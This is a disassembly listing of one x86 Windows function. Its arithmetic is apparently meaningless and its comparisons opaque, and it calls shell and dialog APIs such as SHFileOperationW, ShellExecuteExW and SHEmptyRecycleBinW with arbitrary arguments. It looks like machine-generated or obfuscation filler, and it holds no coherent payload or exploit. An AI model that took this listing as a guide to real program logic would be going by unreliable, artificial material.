movzx ecx, byte [ebp - 0x3495]
push ecx
call fcn.004ef7c0
add esp, 8
lea edx, [ebp - 0x2c20]
push edx
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [ebp - 0xe38], eax
movsx eax, word [ebp - 0x35b8]
movsx ecx, word [ebp - 0x17e0]
add eax, ecx
mov edx, dword [ebp - 0x718]
mov word [edx], ax
mov eax, dword [ebp - 0x22e0]
mov ecx, dword [eax]
mov dword [ebp - 0x3b6c], ecx
cmp dword [ebp - 0x3b6c], 0xb34a31fa
je 0x429a00
jmp 0x429a02
jmp 0x429a18
mov edx, dword [ebp - 0x2260]
mov eax, dword [edx]
sub eax, dword [ebp - 0x3168]
mov ecx, dword [ebp - 0x2260]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2260]
mov eax, dword [ebp - 0x3168]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp + 0xc], dl
lea edx, [ebp - 0x37e4]
push edx
call dword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [ebp - 0x1bac], eax
jmp 0x429ae4
mov eax, dword [ebp - 0xc1c]
movzx ecx, word [eax]
mov dword [ebp - 0x3b70], ecx
cmp dword [ebp - 0x3b70], 0x33a
je 0x429a7a
jmp 0x429a90
mov edx, dword [ebp - 0xc1c]
movzx eax, word [edx]
movzx ecx, word [ebp + 8]
sar eax, cl
mov word [ebp - 0x24a0], ax
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2ca4]
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
lea ecx, [ebp - 0x1ec]
push ecx
call dword [sym.imp.SHELL32.dll_ILClone]
mov dword [ebp - 0x82c], eax
movzx edx, byte [ebp - 0x3495]
push edx
movzx eax, word [ebp - 0x24a0]
push eax
call section..text
mov edx, dword [ebp - 0x2ca4]
mov ecx, dword [ebp - 0x798]
shl edx, cl
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [ebp - 0x140c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x538], eax
jmp 0x429c32
movsx ecx, byte [ebp - 0x2569]
sub ecx, 0x74
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
cmp ecx, eax
jle 0x429c32
movzx ecx, word [ebp - 0x24a0]
mov edx, dword [ebp - 0x100]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0xc1c]
mov word [edx], cx
mov al, byte [ebp - 0x3495]
mov byte [ebp - 0x3b74], al
cmp byte [ebp - 0x3b74], 0x18
je 0x429b5c
cmp byte [ebp - 0x3b74], 0x39
je 0x429c1f
jmp 0x429c32
mov ecx, dword [ebp - 0x381c]
add ecx, dword [ebp - 0x538]
mov edx, dword [ebp - 0x140c]
mov eax, dword [ebp - 0x1d24]
mov edx, dword [edx]
sub edx, dword [eax]
cmp ecx, edx
ja 0x429c1d
movzx eax, byte [ebp - 0x3495]
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp + 0xc], al
movsx eax, word [ebp - 0x17e0]
mov dword [ebp - 0x3b78], eax
cmp dword [ebp - 0x3b78], 0xb63
je 0x429c09
cmp dword [ebp - 0x3b78], 0x540b
je 0x429bbc
jmp 0x429c1d
mov ecx, dword [ebp - 0x381c]
sub ecx, dword [ebp - 0x538]
mov edx, dword [ebp - 0x1d24]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2260]
mov ecx, dword [ebp - 0x3168]
and ecx, dword [eax]
mov dword [ebp - 0x2a4c], ecx
push 1
push 0xb0
lea edx, [ebp - 0x1130]
push edx
push 0x67
mov eax, dword [ebp - 0x2178]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [ebp - 0x7cc], eax
jmp 0x429c1d
mov ecx, dword [ebp - 0x798]
add ecx, dword [ebp - 0x16fc]
mov edx, dword [ebp - 0x2260]
mov dword [edx], ecx
jmp 0x429c32
lea eax, [ebp - 0x1b64]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [ebp - 0x798], eax
lea ecx, [ebp - 0x1e80]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [ebp - 0x1510], eax
movsx edx, word [ebp - 0x17e0]
mov dword [ebp - 0x3b7c], edx
cmp dword [ebp - 0x3b7c], 0x1927
je 0x429d26
cmp dword [ebp - 0x3b7c], 0x786c
je 0x429c73
jmp 0x429d3e
mov eax, dword [ebp - 0x1d78]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x2569]
sub ecx, edx
mov eax, dword [ebp - 0x1d78]
mov byte [eax], cl
mov ecx, dword [ebp - 0x718]
movsx edx, word [ecx]
shl edx, 1
mov word [ebp - 0x17e0], dx
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x1d78]
movzx eax, byte [edx]
push eax
call fcn.004d1cd0
push 0x9c
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetSettings]
mov edx, dword [ebp - 0x140c]
mov eax, dword [ebp - 0x538]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x1d24]
mov dword [ecx], eax
mov edx, dword [ebp - 0x16fc]
push edx
movzx eax, byte [ebp - 0x3495]
push eax
call fcn.004ef7c0
add esp, 8
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x3168]
sar edx, cl
mov dword [ebp - 0x2a4c], edx
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x3495]
or ecx, edx
mov eax, dword [ebp - 0x1ec]
mov byte [eax], cl
jmp 0x429d3e
call fcn.004d7e60
lea ecx, [ebp - 0x1ec]
push ecx
call dword [sym.imp.SHELL32.dll_ILCloneFirst]
mov dword [ebp - 0xc30], eax
jmp 0x429d54
mov edx, dword [ebp - 0x2260]
mov eax, dword [edx]
sub eax, dword [ebp - 0x798]
mov dword [ebp - 0x16fc], eax
movzx ecx, word [ebp + 8]
movzx edx, word [ebp - 0x24a0]
and ecx, edx
mov eax, dword [ebp - 0x1b34]
mov word [eax], cx
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ecx]
add edx, dword [ebp - 0x16fc]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
lea ecx, [ebp - 0x3880]
push ecx
lea edx, [ebp - 0x3794]
push edx
call dword [sym.imp.SHELL32.dll_ILCombine]
mov dword [ebp - 0x12b8], eax
jmp 0x429ddd
mov eax, dword [ebp - 0x2a4c]
sub eax, dword [ebp - 0x16fc]
mov ecx, dword [ebp - 0x2260]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3794]
mov eax, dword [ebp - 0x2a4c]
add eax, dword [edx]
mov dword [ebp - 0x16fc], eax
push 0x10
mov ecx, dword [ebp - 0x1608]
push ecx
mov edx, dword [ebp - 0x175c]
push edx
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x538]
sub eax, dword [ebp - 0x381c]
mov ecx, dword [ebp - 0x140c]
mov dword [ecx], eax
movsx edx, word [ebp - 0x17e0]
mov dword [ebp - 0x3b80], edx
cmp dword [ebp - 0x3b80], 0x609e
je 0x429e0c
jmp 0x429e23
push 0x19
mov eax, dword [ebp - 0x254c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [ebp - 0x2a4c], eax
jmp 0x429e5a
mov ecx, dword [ebp - 0xc1c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x100]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0xc1c]
mov word [eax], dx
mov ecx, dword [ebp - 0x1678]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x3495], dl
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x3495]
add eax, ecx
movzx edx, byte [ebp + 0xc]
cmp eax, edx
jle 0x429ebb
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x3495]
and ecx, edx
mov byte [ebp + 0xc], cl
mov eax, dword [ebp - 0x3880]
push eax
call dword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [ebp - 0x1bac], eax
mov ecx, dword [ebp - 0x1678]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x3495]
add edx, eax
mov ecx, dword [ebp - 0x1678]
mov byte [ecx], dl
jmp 0x429f3d
mov edx, dword [ebp - 0x798]
sub edx, dword [ebp - 0x3168]
mov eax, dword [ebp - 0x3794]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x16fc]
cmp edx, ecx
jg 0x429f3d
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
movzx ecx, word [ebp + 8]
sar eax, cl
mov word [ebp - 0x24a0], ax
movzx ecx, byte [ebp - 0x3495]
push ecx
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
push eax
call section..text
push 0xfc
mov ecx, dword [ebp - 0x254c]
push ecx
push 0x3a
mov edx, dword [ebp - 0x1394]
push edx
call dword [sym.imp.SHELL32.dll_DragQueryFileW]
mov dword [ebp - 0x538], eax
mov eax, dword [ebp - 0x16fc]
mov ecx, dword [ebp - 0x798]
shl eax, cl
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
mov eax, dword [section..data]
pop esi
mov esp, ebp
pop ebp
ret 8